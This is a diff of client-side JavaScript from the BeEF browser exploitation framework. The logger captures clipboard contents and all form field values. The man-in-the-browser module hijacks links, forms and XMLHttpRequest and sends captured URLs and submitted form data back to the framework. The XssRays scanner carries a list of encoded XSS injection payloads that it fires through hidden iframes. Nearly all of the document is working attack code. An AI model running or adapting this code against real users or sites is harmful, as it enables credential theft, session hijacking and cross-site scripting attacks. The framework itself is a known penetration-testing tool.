var c = new beef.logger.e();
|
||||
c.type = 'copy';
|
||||
c.data = clipboardData.getData("Text");
|
||||
this.events.push(c);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
* Cut function fires when the user cuts data to the clipboard.
|
||||
*/
|
||||
cut: function() {
|
||||
try {
|
||||
var c = new beef.logger.e();
|
||||
c.type = 'cut';
|
||||
c.data = clipboardData.getData("Text");
|
||||
this.events.push(c);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
* Paste function fires when the user pastes data from the clipboard.
|
||||
*/
|
||||
paste: function() {
|
||||
try {
|
||||
var c = new beef.logger.e();
|
||||
c.type = 'paste';
|
||||
c.data = clipboardData.getData("Text");
|
||||
this.events.push(c);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
* Submit function fires whenever a form is submitted
|
||||
* TODO: Cleanup this function
|
||||
*/
|
||||
submit: function(e) {
|
||||
/*this.events.push('Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target));*/
|
||||
try {
|
||||
var f = new beef.logger.e();
|
||||
var values = "";
|
||||
f.type = 'submit';
|
||||
f.target = beef.logger.get_dom_identifier(e.target);
|
||||
for (var i = 0; i < e.target.elements.length; i++) {
|
||||
values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
|
||||
}
|
||||
f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
|
||||
this.events.push(f);
|
||||
} catch(e) {}
|
||||
},
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,135 +1,256 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
beef.mitb = {
|
||||
|
||||
cid: null,
|
||||
curl: null,
|
||||
|
||||
init: function(cid, curl){
|
||||
beef.mitb.cid = cid;
|
||||
beef.mitb.curl = curl;
|
||||
},
|
||||
|
||||
// Initializes the hook on anchors and forms.
|
||||
hook: function(){
|
||||
beef.onpopstate.push(function(event) {beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);});
|
||||
beef.onclose.push(function(event) {beef.mitb.endSession();});
|
||||
var anchors = document.getElementsByTagName("a");
|
||||
var forms = document.getElementsByTagName("form");
|
||||
for(var i=0;i<anchors.length;i++){
|
||||
anchors[i].onclick = beef.mitb.poisonAnchor;
|
||||
}
|
||||
for(var i=0;i<forms.length;i++){
|
||||
beef.mitb.poisonForm(forms[i]);
|
||||
}
|
||||
},
|
||||
|
||||
// Hooks anchors and prevents them from linking away
|
||||
poisonAnchor: function(e){
|
||||
try{
|
||||
e.preventDefault;
|
||||
if(beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])){
|
||||
var title = "";
|
||||
if(document.getElementsByTagName("title").length == 0){
|
||||
title = document.title;
|
||||
}else{
|
||||
title = document.getElementsByTagName("title")[0].innerHTML;
|
||||
}
|
||||
history.pushState({ Be: "EF" }, title, e.currentTarget);
|
||||
}
|
||||
}catch(e){
|
||||
console.error('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
// Hooks forms and prevents them from linking away
|
||||
poisonForm: function(form){
|
||||
form.onsubmit=function(e){
|
||||
var inputs = form.getElementsByTagName("input");
|
||||
var query = "";
|
||||
for(var i=0;i<inputs.length;i++){
|
||||
if(i>0 && i<inputs.length-1) query += "&";
|
||||
switch(inputs[i].type){
|
||||
case "submit":
|
||||
break;
|
||||
default:
|
||||
query += inputs[i].name + "=" + inputs[i].value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
e.preventdefault;
|
||||
beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
|
||||
history.pushState({ Be: "EF" }, "", form.action);
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a hooked form with AJAX
|
||||
fetchForm: function(url, query, target){
|
||||
try{
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('POST', url, false);
|
||||
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||
y.onreadystatechange = function(){
|
||||
if(y.readyState == 4 && y.responseText != ""){
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
y.send(query);
|
||||
beef.mitb.sniff("POST: "+url+" ["+query+"]");
|
||||
return true;
|
||||
}catch(x){
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a hooked link with AJAX
|
||||
fetch: function(url, target){
|
||||
try{
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('GET', url,false);
|
||||
y.onreadystatechange = function(){
|
||||
if(y.readyState == 4 && y.responseText != ""){
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
y.send(null);
|
||||
beef.mitb.sniff("GET: "+url);
|
||||
return true;
|
||||
}catch(x){
|
||||
window.open(url);
|
||||
beef.mitb.sniff("GET [New Window]: "+url);
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
// Relays an entry to the framework
|
||||
sniff: function(result){
|
||||
try{
|
||||
beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
|
||||
}catch(x){}
|
||||
return true;
|
||||
},
|
||||
|
||||
// Signals the Framework that the user has lost the hook
|
||||
endSession: function(){
|
||||
beef.mitb.sniff("Window closed.");
|
||||
}
|
||||
}
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
beef.mitb = {
|
||||
|
||||
cid:null,
|
||||
curl:null,
|
||||
|
||||
init:function (cid, curl) {
|
||||
beef.mitb.cid = cid;
|
||||
beef.mitb.curl = curl;
|
||||
/*Override open method to intercept ajax request*/
|
||||
var xml_type;
|
||||
|
||||
if (window.XMLHttpRequest && !(window.ActiveXObject)) {
|
||||
|
||||
xml_type = 'XMLHttpRequest';
|
||||
}
|
||||
|
||||
if (xml_type == "XMLHttpRequest") {
|
||||
beef.mitb.sniff("Method XMLHttpRequest.open override");
|
||||
(function (open) {
|
||||
XMLHttpRequest.prototype.open = function (method, url, async, user, pass) {
|
||||
|
||||
var portRegex = new RegExp(":[0-9]+");
|
||||
var portR = portRegex.exec(url);
|
||||
/*return :port*/
|
||||
var requestPort;
|
||||
|
||||
if (portR != null) {
|
||||
requestPort = portR[0].split(":");
|
||||
}
|
||||
|
||||
if ((user == "beef") && (pass == "beef")) {
|
||||
/*a poisoned something*/
|
||||
open.call(this, method, url, async, null, null);
|
||||
}
|
||||
|
||||
|
||||
else if (url.indexOf("hook.js") != -1 || url.indexOf("/dh?") != -1) {
|
||||
/*a beef hook.js polling or dh */
|
||||
open.call(this, method, url, async, null, null);
|
||||
}
|
||||
|
||||
else {
|
||||
|
||||
if (method == "GET") {
|
||||
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
|
||||
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
|
||||
window.open(url);
|
||||
|
||||
}
|
||||
else {
|
||||
beef.mitb.sniff("GET [Ajax Request]: " + url);
|
||||
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
|
||||
var title = "";
|
||||
if (document.getElementsByTagName("title").length == 0) {
|
||||
title = document.title;
|
||||
} else {
|
||||
title = document.getElementsByTagName("title")[0].innerHTML;
|
||||
}
|
||||
/*write the url of the page*/
|
||||
history.pushState({ Be:"EF" }, title, url);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
/*if we are here we have an ajax post req*/
|
||||
beef.mitb.sniff("Post ajax request to: " + url);
|
||||
open.call(this, method, url, async, user, pass);
|
||||
|
||||
}
|
||||
}
|
||||
};
|
||||
})(XMLHttpRequest.prototype.open);
|
||||
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
// Initializes the hook on anchors and forms.
|
||||
hook:function () {
|
||||
beef.onpopstate.push(function (event) {
|
||||
beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
|
||||
});
|
||||
beef.onclose.push(function (event) {
|
||||
beef.mitb.endSession();
|
||||
});
|
||||
|
||||
var anchors = document.getElementsByTagName("a");
|
||||
var forms = document.getElementsByTagName("form");
|
||||
var lis = document.getElementsByTagName("li");
|
||||
|
||||
for (var i = 0; i < anchors.length; i++) {
|
||||
anchors[i].onclick = beef.mitb.poisonAnchor;
|
||||
}
|
||||
for (var i = 0; i < forms.length; i++) {
|
||||
beef.mitb.poisonForm(forms[i]);
|
||||
}
|
||||
|
||||
for (var i = 0; i < lis.length; i++) {
|
||||
if (lis[i].hasAttribute("onclick")) {
|
||||
lis[i].removeAttribute("onclick");
|
||||
/*clear*/
|
||||
lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
|
||||
/*override*/
|
||||
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
// Hooks anchors and prevents them from linking away
|
||||
poisonAnchor:function (e) {
|
||||
try {
|
||||
e.preventDefault;
|
||||
if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
|
||||
var title = "";
|
||||
if (document.getElementsByTagName("title").length == 0) {
|
||||
title = document.title;
|
||||
} else {
|
||||
title = document.getElementsByTagName("title")[0].innerHTML;
|
||||
}
|
||||
history.pushState({ Be:"EF" }, title, e.currentTarget);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
// Hooks forms and prevents them from linking away
|
||||
poisonForm:function (form) {
|
||||
form.onsubmit = function (e) {
|
||||
var inputs = form.getElementsByTagName("input");
|
||||
var query = "";
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (i > 0 && i < inputs.length - 1) query += "&";
|
||||
switch (inputs[i].type) {
|
||||
case "submit":
|
||||
break;
|
||||
default:
|
||||
query += inputs[i].name + "=" + inputs[i].value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
e.preventdefault;
|
||||
beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
|
||||
history.pushState({ Be:"EF" }, "", form.action);
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a hooked form with AJAX
|
||||
fetchForm:function (url, query, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('POST', url, false, "beef", "beef");
|
||||
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
y.send(query);
|
||||
beef.mitb.sniff("POST: " + url + "[" + query + "]");
|
||||
return true;
|
||||
} catch (x) {
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a hooked link with AJAX
|
||||
fetch:function (url, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('GET', url, false, "beef", "beef");
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
y.send(null);
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
return true;
|
||||
} catch (x) {
|
||||
window.open(url);
|
||||
beef.mitb.sniff("GET [New Window]: " + url);
|
||||
return false;
|
||||
}
|
||||
},
|
||||
|
||||
// Fetches a window.location=http://domainname.com and setting up history
|
||||
fetchOnclick:function (url) {
|
||||
try {
|
||||
var target = document.getElementsByTagName("html")[0];
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('GET', url, false, "beef", "beef");
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
var title = "";
|
||||
if (document.getElementsByTagName("title").length == 0) {
|
||||
title = document.title;
|
||||
}
|
||||
else {
|
||||
title = document.getElementsByTagName("title")[0].innerHTML;
|
||||
}
|
||||
history.pushState({ Be:"EF" }, title, url);
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
y.send(null);
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
|
||||
} catch (x) {
|
||||
|
||||
|
||||
window.open(url);
|
||||
beef.mitb.sniff("GET [New Window]: " + url);
|
||||
|
||||
}
|
||||
},
|
||||
|
||||
// Relays an entry to the framework
|
||||
sniff:function (result) {
|
||||
try {
|
||||
beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
|
||||
} catch (x) {
|
||||
}
|
||||
return true;
|
||||
},
|
||||
|
||||
// Signals the Framework that the user has lost the hook
|
||||
endSession:function () {
|
||||
beef.mitb.sniff("Window closed.");
|
||||
}
|
||||
}
|
||||
@@ -168,9 +168,22 @@ beef.net = {
|
||||
response.was_cross_domain = cross_domain;
|
||||
var start_time = new Date().getTime();
|
||||
|
||||
/*
|
||||
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
|
||||
* This will turn POSTs into GETs for remote-domain requests.
|
||||
*/
|
||||
if (method == "POST"){
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
}else{ //GET, HEAD, ...
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
}
|
||||
|
||||
//build and execute the request
|
||||
$j.ajax({type: method,
|
||||
dataType: 'script', // this is required for bugs in IE so data can be transferred back to the server
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
|
||||
@@ -21,6 +21,8 @@
|
||||
beef.net.local = {
|
||||
|
||||
sock: false,
|
||||
checkJava: false,
|
||||
hasJava: false,
|
||||
|
||||
/**
|
||||
* Initializes the java socket. We have to use this method because
|
||||
@@ -29,16 +31,30 @@ beef.net.local = {
|
||||
* is invalid:
|
||||
* sock: new java.net.Socket();
|
||||
*/
|
||||
|
||||
initializeSocket: function() {
|
||||
if(! beef.browser.hasJava()) return -1;
|
||||
|
||||
try {
|
||||
this.sock = new java.net.Socket();
|
||||
} catch(e) {
|
||||
return -1;
|
||||
if(this.checkJava){
|
||||
if(!beef.browser.hasJava()) {
|
||||
this.checkJava=True;
|
||||
this.hasJava=False;
|
||||
return -1;
|
||||
}else{
|
||||
this.checkJava=True;
|
||||
this.hasJava=True;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else{
|
||||
if(!this.hasJava) return -1;
|
||||
else{
|
||||
try {
|
||||
this.sock = new java.net.Socket();
|
||||
} catch(e) {
|
||||
return -1;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
return 1;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -47,7 +63,7 @@ beef.net.local = {
|
||||
* @error: return -1 if the internal ip cannot be retrieved.
|
||||
*/
|
||||
getLocalAddress: function() {
|
||||
if(! beef.browser.hasJava()) return false;
|
||||
if(!this.hasJava) return false;
|
||||
|
||||
this.initializeSocket();
|
||||
|
||||
@@ -65,7 +81,7 @@ beef.net.local = {
|
||||
* @error: return -1 if the hostname cannot be retrieved.
|
||||
*/
|
||||
getLocalHostname: function() {
|
||||
if(! beef.browser.hasJava()) return false;
|
||||
if(!this.hasJava) return false;
|
||||
|
||||
this.initializeSocket();
|
||||
|
||||
@@ -79,4 +95,4 @@ beef.net.local = {
|
||||
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.local');
|
||||
beef.regCmp('beef.net.local');
|
||||
|
||||
@@ -49,20 +49,27 @@ beef.net.xssrays = {
|
||||
//browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
|
||||
vectors: [
|
||||
|
||||
// {input:"',XSS,'", name: 'Standard DOM based injection single', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'",XSS,"', name: 'Standard DOM based injection double', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input: '\'><script>XSS<\/script>', name: 'Standard script injection single', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input: '"><script>XSS<\/script>', name: 'Standard script injection double', browser: 'ALL',url:true,form:true,path:true}, //,
|
||||
{input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
|
||||
// {input:"',XSS,'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'><script>XSS<\/script>', name: 'Standard script injection single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><script>XSS<\/script>', name: 'Standard script injection double quote', browser: 'ALL',url:true,form:true,path:true}, //,
|
||||
// {input:'\'><body onload=\'XSS\'>', name: 'body onload single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'"><body onload="XSS">', name: 'body onload double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
|
||||
// {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true}
|
||||
// {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
// {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
|
||||
//{input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
|
||||
{input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
|
||||
{input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
|
||||
],
|
||||
uniqueID: 0,
|
||||
rays: [],
|
||||
@@ -99,7 +106,7 @@ beef.net.xssrays = {
|
||||
|
||||
// util function. Print string to the console only if the debug flag is on and the browser is not IE.
|
||||
printDebug:function(log) {
|
||||
if (this.debug && !beef.browser.isIE()) {
|
||||
if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
|
||||
console.log("[XssRays] " + log);
|
||||
}
|
||||
},
|
||||
@@ -181,6 +188,13 @@ beef.net.xssrays = {
|
||||
if (target.search.length > 0) {
|
||||
target.search = target.search.slice(1);
|
||||
target.search = target.search.split(/&|&/);
|
||||
|
||||
if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
|
||||
var pathname = "/" + target.pathname;
|
||||
}else{
|
||||
var pathname = target.pathname;
|
||||
}
|
||||
|
||||
var params = {};
|
||||
for (var i = 0; i < target.search.length; i++) {
|
||||
target.search[i] = target.search[i].split('=');
|
||||
@@ -197,20 +211,20 @@ beef.net.xssrays = {
|
||||
}
|
||||
if (this.vectors[i].url) {
|
||||
if (target.port == null || target.port == "") {
|
||||
beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], params, true);//params
|
||||
beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
|
||||
} else {
|
||||
beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + target.pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], params, true);//params
|
||||
beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
|
||||
}
|
||||
}
|
||||
if (this.vectors[i].path) {
|
||||
if (target.port == null || target.port == "") {
|
||||
beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + target.pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + target.pathname, 'GET', this.vectors[i], null, true);//paths
|
||||
beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
|
||||
} else {
|
||||
beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + target.pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + ':' + target.port + target.pathname, 'GET', this.vectors[i], null, true);//paths
|
||||
beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
|
||||
this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -308,7 +322,10 @@ beef.net.xssrays = {
|
||||
var ray = this.rays[beef.net.xssrays.uniqueID];
|
||||
|
||||
var paramsPos = 0;
|
||||
if (params != null) { // check for XSS in GET parameters
|
||||
if (params != null) {
|
||||
/*
|
||||
* ++++++++++ check for XSS in URI parameters (GET) ++++++++++
|
||||
*/
|
||||
for (var i in params) {
|
||||
if (params.hasOwnProperty(i)) {
|
||||
|
||||
@@ -328,12 +345,19 @@ beef.net.xssrays = {
|
||||
|
||||
exploit = vector.input.replace(/XSS/g, beefCallback);
|
||||
|
||||
url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
|
||||
if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
|
||||
url += i + '=' + exploit + '&';
|
||||
}else{
|
||||
url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
|
||||
}
|
||||
|
||||
paramsPos++;
|
||||
}
|
||||
}
|
||||
} else { // check for XSS in GET URL path
|
||||
} else {
|
||||
/*
|
||||
* ++++++++++ check for XSS in URI path (GET) ++++++++++
|
||||
*/
|
||||
var filename = beef.net.xssrays.fileName(url);
|
||||
|
||||
poc = vector.input.replace(/XSS/g, "alert(1)");
|
||||
@@ -352,19 +376,37 @@ beef.net.xssrays = {
|
||||
//TODO: this need to checked and the slash shouldn't be added in this particular case
|
||||
url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
|
||||
}
|
||||
|
||||
|
||||
var iframe = document.createElement('iframe');
|
||||
/*
|
||||
* ++++++++++ create the iFrame that will contain the attack vector ++++++++++
|
||||
*/
|
||||
if(beef.browser.isIE()){
|
||||
try {
|
||||
var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
|
||||
} catch (e) {
|
||||
var iframe = document.createElement('iframe');
|
||||
iframe.name = 'ray' + Math.random().toString();
|
||||
}
|
||||
}else{
|
||||
var iframe = document.createElement('iframe');
|
||||
iframe.name = 'ray' + Math.random().toString();
|
||||
}
|
||||
iframe.style.display = 'none';
|
||||
iframe.id = 'ray' + beef.net.xssrays.uniqueID;
|
||||
iframe.time = beef.net.xssrays.timestamp();
|
||||
iframe.name = 'ray' + Math.random().toString();
|
||||
|
||||
if (method === 'GET') {
|
||||
iframe.src = url;
|
||||
if(beef.browser.isC() || beef.browser.isS()){
|
||||
var datauri = btoa(url);
|
||||
iframe.src = "data:text/html;base64," + datauri;
|
||||
}else{
|
||||
iframe.src = url;
|
||||
}
|
||||
document.body.appendChild(iframe);
|
||||
beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
|
||||
} else if (method === 'POST') {
|
||||
/*
|
||||
* ++++++++++ check for XSS in body parameters (POST) ++++++++++
|
||||
*/
|
||||
var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
|
||||
poc = '';
|
||||
pocurl = action + "?";
|
||||
@@ -414,11 +456,13 @@ beef.net.xssrays = {
|
||||
numOfConnections++;
|
||||
//beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
|
||||
if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
|
||||
if (iframe) {
|
||||
beef.net.xssrays.complete();
|
||||
beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
|
||||
document.body.removeChild(iframe);
|
||||
}
|
||||
try{
|
||||
if (iframe) {
|
||||
beef.net.xssrays.complete();
|
||||
beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
|
||||
document.body.removeChild(iframe);
|
||||
}
|
||||
}catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
